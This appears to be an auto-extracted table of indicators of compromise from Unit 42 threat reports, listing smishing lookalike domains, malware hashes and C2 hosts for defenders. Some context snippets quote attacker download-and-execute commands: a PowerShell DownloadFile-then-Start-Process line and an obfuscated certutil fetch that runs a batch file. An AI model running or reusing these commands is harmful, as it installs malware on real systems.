Indicators of compromise
4,190 indicators auto-extracted from article text · hashes, IPs, domains, URLs · verify before use
| Type | Indicator | Context | Article | First seen |
|---|---|---|---|---|
| domain | gov-tax.icu | -etczhh[.]cc utah.gov-etcfr[.]win irs.gov-tax[.]cfd irs.org.gov-tax[.]icu anpost.com-pay[.]online kveesh6.il-363[.]com dhl.de-yiore | The Smishing Deluge: China-Based Campaign Flooding Global Text Messages Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | gov-tosz.live | [.]vip sunpass.com-hbg[.]vip usps.com-hzasr[.]bid e-zpassny.gov-tosz[.]live michigan.gov-imky[.]win e-zpass.org-yga[.]xin e-zpass.org | The Smishing Deluge: China-Based Campaign Flooding Global Text Messages Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | id-39732.info | .]net israeipost.co-ykk[.]vip canpost.id-89b98[.]com anpost.id-39732[.]info Additional Resources Internet Crime Complaint Center (IC3 | The Smishing Deluge: China-Based Campaign Flooding Global Text Messages Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | id-89b98.com | ent[.]info irs.gov-mo[.]net israeipost.co-ykk[.]vip canpost.id-89b98[.]com anpost.id-39732[.]info Additional Resources Internet Crim | The Smishing Deluge: China-Based Campaign Flooding Global Text Messages Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | il-363.com | .]cfd irs.org.gov-tax[.]icu anpost.com-pay[.]online kveesh6.il-363[.]com dhl.de-yiore[.]store usps.com-posewxts[.]top e-zpass.com- | The Smishing Deluge: China-Based Campaign Flooding Global Text Messages Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | irs.gov | nfo could trick people into thinking they are navigating to irs[.]gov . Figure 3 shows the most popular prefixes of domain name | The Smishing Deluge: China-Based Campaign Flooding Global Text Messages Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | org-pvwh.xin | ky[.]win e-zpass.org-yga[.]xin e-zpass.org-qac[.]xin ezpass.org-pvwh[.]xin ezpassnj.gov-mhmt[.]xin e-zpassny.gov-hzwy[.]live irs.gov | The Smishing Deluge: China-Based Campaign Flooding Global Text Messages Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | org-qac.xin | ]live michigan.gov-imky[.]win e-zpass.org-yga[.]xin e-zpass.org-qac[.]xin ezpass.org-pvwh[.]xin ezpassnj.gov-mhmt[.]xin e-zpassny.g | The Smishing Deluge: China-Based Campaign Flooding Global Text Messages Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | org-yga.xin | d e-zpassny.gov-tosz[.]live michigan.gov-imky[.]win e-zpass.org-yga[.]xin e-zpass.org-qac[.]xin ezpass.org-pvwh[.]xin ezpassnj.gov- | The Smishing Deluge: China-Based Campaign Flooding Global Text Messages Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 01a96eeafb72042b3f69afd21b4c9155dbfe7f97ab3dca392972ad531a075ac2 | 6.54[.]109 194.76.227[.]94 206.189.229[.]43 Malware samples 01a96eeafb72042b3f69afd21b4c9155dbfe7f97ab3dca392972ad531a075ac2 9639f7ebc6a6d69d7bf5b8bc869e7783a1406088f192868624ad8919e9b | Almost Half of Malware Samples Communicate Direct to IP Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 9639f7ebc6a6d69d7bf5b8bc869e7783a1406088f192868624ad8919e9bfd1d4 | eeafb72042b3f69afd21b4c9155dbfe7f97ab3dca392972ad531a075ac2 9639f7ebc6a6d69d7bf5b8bc869e7783a1406088f192868624ad8919e9bfd1d4 bf24277400cc453d530e4277d3bd24e96c5e409adef6970518bdc59205a | Almost Half of Malware Samples Communicate Direct to IP Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | bf24277400cc453d530e4277d3bd24e96c5e409adef6970518bdc59205aa0241 | 7ebc6a6d69d7bf5b8bc869e7783a1406088f192868624ad8919e9bfd1d4 bf24277400cc453d530e4277d3bd24e96c5e409adef6970518bdc59205aa0241 e310476c41ae4f6e3c4ed9bb88303ee6e5e1455bd7afe51cf48965ea759 | Almost Half of Malware Samples Communicate Direct to IP Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | cc43cdbe8eb9874f55fffbe23b560b673eb9f31fb9a953926bba29464fd2dd07 | characters Disassembly of associated malware samples (e.g., cc43cdbe8eb9874f55fffbe23b560b673eb9f31fb9a953926bba29464fd2dd07 ) confirms there are no hex-format IP addresses hard coded | Almost Half of Malware Samples Communicate Direct to IP Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | e310476c41ae4f6e3c4ed9bb88303ee6e5e1455bd7afe51cf48965ea7599e6e5 | 77400cc453d530e4277d3bd24e96c5e409adef6970518bdc59205aa0241 e310476c41ae4f6e3c4ed9bb88303ee6e5e1455bd7afe51cf48965ea7599e6e5 e3513922666c202c1ae5c06eea277ba10477868d6d89ce2819f4f8ff907 | Almost Half of Malware Samples Communicate Direct to IP Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | e3513922666c202c1ae5c06eea277ba10477868d6d89ce2819f4f8ff9070bc85 | 76c41ae4f6e3c4ed9bb88303ee6e5e1455bd7afe51cf48965ea7599e6e5 e3513922666c202c1ae5c06eea277ba10477868d6d89ce2819f4f8ff9070bc85 e5715e6611ef6bcb233f5d2098510dab3db408abbb728b00e1821bb2558 | Almost Half of Malware Samples Communicate Direct to IP Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | e5715e6611ef6bcb233f5d2098510dab3db408abbb728b00e1821bb255829373 | 922666c202c1ae5c06eea277ba10477868d6d89ce2819f4f8ff9070bc85 e5715e6611ef6bcb233f5d2098510dab3db408abbb728b00e1821bb255829373 A dditional Resources Phorpiex (Malware Family) – Malpedia | Almost Half of Malware Samples Communicate Direct to IP Palo Alto Unit 42 | · Aug 17, 2026 |
| url | http://178.16.54[ | th several malware samples (e.g., the binary retrieved from hxxp[:]//178.16.54[.]109/st.exe ) associated with Phorpiex (aka Trik), a long | Almost Half of Malware Samples Communicate Direct to IP Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | clinic.site | . In this medical application, patients can use the API api.clinic[.]site/get_history?visit_id=XXXX to access the doctor visit note | Harnessing LLMs for Automating BOLA Detection Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | nitesbr1.org | nload a VBScript file from the following URL: http:// kmbr1.nitesbr1[.]org/UserFiles/File/image/home.html This VBScript file yet aga | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| md5 | 05d43d417a8f50e7b23246643fc7e03d | After decryption, the following payload was identified: MD5 05d43d417a8f50e7b23246643fc7e03d SHA1 67c05b3937d94136eda4a60a2d5fb685abc776a1 SHA256 3fee06 | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| md5 | 0f1d3ed85fee2acc23a8a26e0dc12e0f | tion is provided after it is decrypted by the malware): MD5 0f1d3ed85fee2acc23a8a26e0dc12e0f SHA1 3d161de48d3f4da0aefff685253404c8b0111563 SHA256 fb94a5 | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| md5 | a2fe5dcb08ae8b72e8bc98ddc0b918e7 | oject(20180108)\Final1stspy\LoadDll\Release\LoadDll.pdb MD5 a2fe5dcb08ae8b72e8bc98ddc0b918e7 SHA1 741dbdb20d1beeb8ff809291996c8b78585cb812 SHA256 0669c7 | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| md5 | e02024f38dfb6290ce0d693539a285a9 | was identified. This file had the following properties: MD5 e02024f38dfb6290ce0d693539a285a9 SHA1 d13fc918433c705b49db74c91f56ae6c0cb5cf8d SHA256 66a0c2 | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| sha1 | 3d161de48d3f4da0aefff685253404c8b0111563 | by the malware): MD5 0f1d3ed85fee2acc23a8a26e0dc12e0f SHA1 3d161de48d3f4da0aefff685253404c8b0111563 SHA256 fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6 | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| sha1 | 67c05b3937d94136eda4a60a2d5fb685abc776a1 | d was identified: MD5 05d43d417a8f50e7b23246643fc7e03d SHA1 67c05b3937d94136eda4a60a2d5fb685abc776a1 SHA256 3fee068bf90ffbeb25549eb52be0456609b1decfe91cda1967eb | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| sha1 | 741dbdb20d1beeb8ff809291996c8b78585cb812 | lease\LoadDll.pdb MD5 a2fe5dcb08ae8b72e8bc98ddc0b918e7 SHA1 741dbdb20d1beeb8ff809291996c8b78585cb812 SHA256 0669c71740134323793429d10518576b42941f9eee0def6057ed | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| sha1 | d13fc918433c705b49db74c91f56ae6c0cb5cf8d | owing properties: MD5 e02024f38dfb6290ce0d693539a285a9 SHA1 d13fc918433c705b49db74c91f56ae6c0cb5cf8d SHA256 66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f0 | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a | b918e7 SHA1 741dbdb20d1beeb8ff809291996c8b78585cb812 SHA256 0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a File Type PE32 executable (DLL) (GUI) Intel 80386, for MS W | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 3fee068bf90ffbeb25549eb52be0456609b1decfe91cda1967eb068ef2c8918f | c7e03d SHA1 67c05b3937d94136eda4a60a2d5fb685abc776a1 SHA256 3fee068bf90ffbeb25549eb52be0456609b1decfe91cda1967eb068ef2c8918f File Type PE32 executable (GUI) Intel 80386, for MS Windows | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f025eda6b75e51 | a285a9 SHA1 d13fc918433c705b49db74c91f56ae6c0cb5cf8d SHA256 66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f025eda6b75e51 Creator Windows User Created Date 2018-03-19 07:58:00 UTC L | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a | c12e0f SHA1 3d161de48d3f4da0aefff685253404c8b0111563 SHA256 fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a File Type PE32 executable (GUI) Intel 80386, for MS Windows | NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | 000webhostapp.com | ct System . Net . WebClient ) . DownloadFile ( 'https://881.000webhostapp[.]com/0_31.doc' , '%TEMP%\\AAA.exe' ) ; Start - Process ( '%TEM | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | 000webhost.com | mmunication: ftp.byethost7[.]com ftp.byethost10[.]com files.000webhost[.]com Beginning in June 2018, we observed the OceanSalt malware | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | 1apps.com | ^ e ^ r ^ tutil - urlca ^ che - spl ^ it - f http : //s8877.1apps[.]com/vip/1.txt && ren 1.txt 1.bat && 1.bat && exit This comman | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | byethost10.com | hosts via FTP for C2 communication: ftp.byethost7[.]com ftp.byethost10[.]com files.000webhost[.]com Beginning in June 2018, we observe | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | byethost7.com | with the following hosts via FTP for C2 communication: ftp.byethost7[.]com ftp.byethost10[.]com files.000webhost[.]com Beginning in | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | bytehost31.org | ongs to the SYSCON malware family. It communicates with ftp.bytehost31[.]org via FTP for command and control (C2). Figure 2 SYSCON net | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | nknews.org | article that was published on the same day as the attack by NKNews[.]org. The article in question discusses diplomatic ties betwee | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | webhost.com | byethost7[.]com ftp.byethost10[.]com files.000webhost[.]com webhost[.]com 61.14.210[.]72:7117 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | webmail-koryogroup.com | com/1.txt http://bluemountain.1apps[.]com/1.txt https://www.webmail-koryogroup[.]com/keep/1.txt http://filer1.1apps[.]com/1.txt ftp.byethost7[ | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | yandex.ru | shing email was sent from the email address of yuri.sidorav@yandex[.]ru to a high ranking individual within a British government | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| md5 | 3e4015366126dcdbdcc8b5c508a6d25c | s For the analysis below, the following sample is used: MD5 3e4015366126dcdbdcc8b5c508a6d25c SHA1 f459f9cfbd10b136cafb19cbc233a4c8342ad984 SHA256 aef92b | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| md5 | a943e196b83c4acd9c5ce13e4c43b4f4 | l The downloaded CAB file has the following properties: MD5 a943e196b83c4acd9c5ce13e4c43b4f4 SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd SHA256 cfe436 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha1 | e66e416f300c7efb90c383a7630c9cfe901ff9fd | owing properties: MD5 a943e196b83c4acd9c5ce13e4c43b4f4 SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd SHA256 cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575be | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha1 | f459f9cfbd10b136cafb19cbc233a4c8342ad984 | g sample is used: MD5 3e4015366126dcdbdcc8b5c508a6d25c SHA1 f459f9cfbd10b136cafb19cbc233a4c8342ad984 SHA256 aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e5 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f88120b | 8c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf 0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f88120b OceanSalt Payload Samples 59b023b30d8a76c5984fe62d2e751875b | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358 | 40283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4 0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358 f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0 | 434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae 1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0 337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968 | f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc 1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968 2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 22b16fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb56aa10 | dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e526a66a 22b16fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb56aa10 3869c738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 2547b958f7725539e9bba2a1852a163100daa1927bb621b2837bb88007857a48 | be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de 2547b958f7725539e9bba2a1852a163100daa1927bb621b2837bb88007857a48 6c591dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e52 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847 | a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa 26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847 e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2c | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48 | 1ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968 2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48 5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27 | 331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652 2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27 62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da502482 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b | cc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0 337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b 92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 3663e7b197efe91fb7879a56c29fb8ed196815e0145436ee2fad5825c29de897 | 3ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2 3663e7b197efe91fb7879a56c29fb8ed196815e0145436ee2fad5825c29de897 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 3869c738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561980dd | fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb56aa10 3869c738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561980dd ba100e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe90b96 | 6057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97 3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe90b96 aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded | e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef 42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005 | a50e7ce4e092080d2f7db13ea0f88120b OceanSalt Payload Samples 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005 7cf37067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 5a2c53a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b | df350d155b8e63d872a914581314aaa9c1dc SYSCON Payload Samples 5a2c53a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a3703 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf | 0b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48 5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf 0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f8 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7 | 25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27 62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7 f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 6c591dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e526a66a | 958f7725539e9bba2a1852a163100daa1927bb621b2837bb88007857a48 6c591dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e526a66a 22b16fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb5 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22 | 9a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3 70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22 87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2 | 6c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62 7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2 3663e7b197efe91fb7879a56c29fb8ed196815e0145436ee2fad5825c29 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 7cf37067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a472b6 | 3b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005 7cf37067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a472b6 fe8d65287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae | 27a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0 7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae 1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97 | d1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea 7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97 3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3 | 19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828 824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3 70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc | ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22 87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf3 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa | bf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d 8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa 26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d9 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef | c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b 92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef 42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe506628 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 9fa69bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5e7fa9 | de24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b523c828 9fa69bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5e7fa9 ffd1e66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
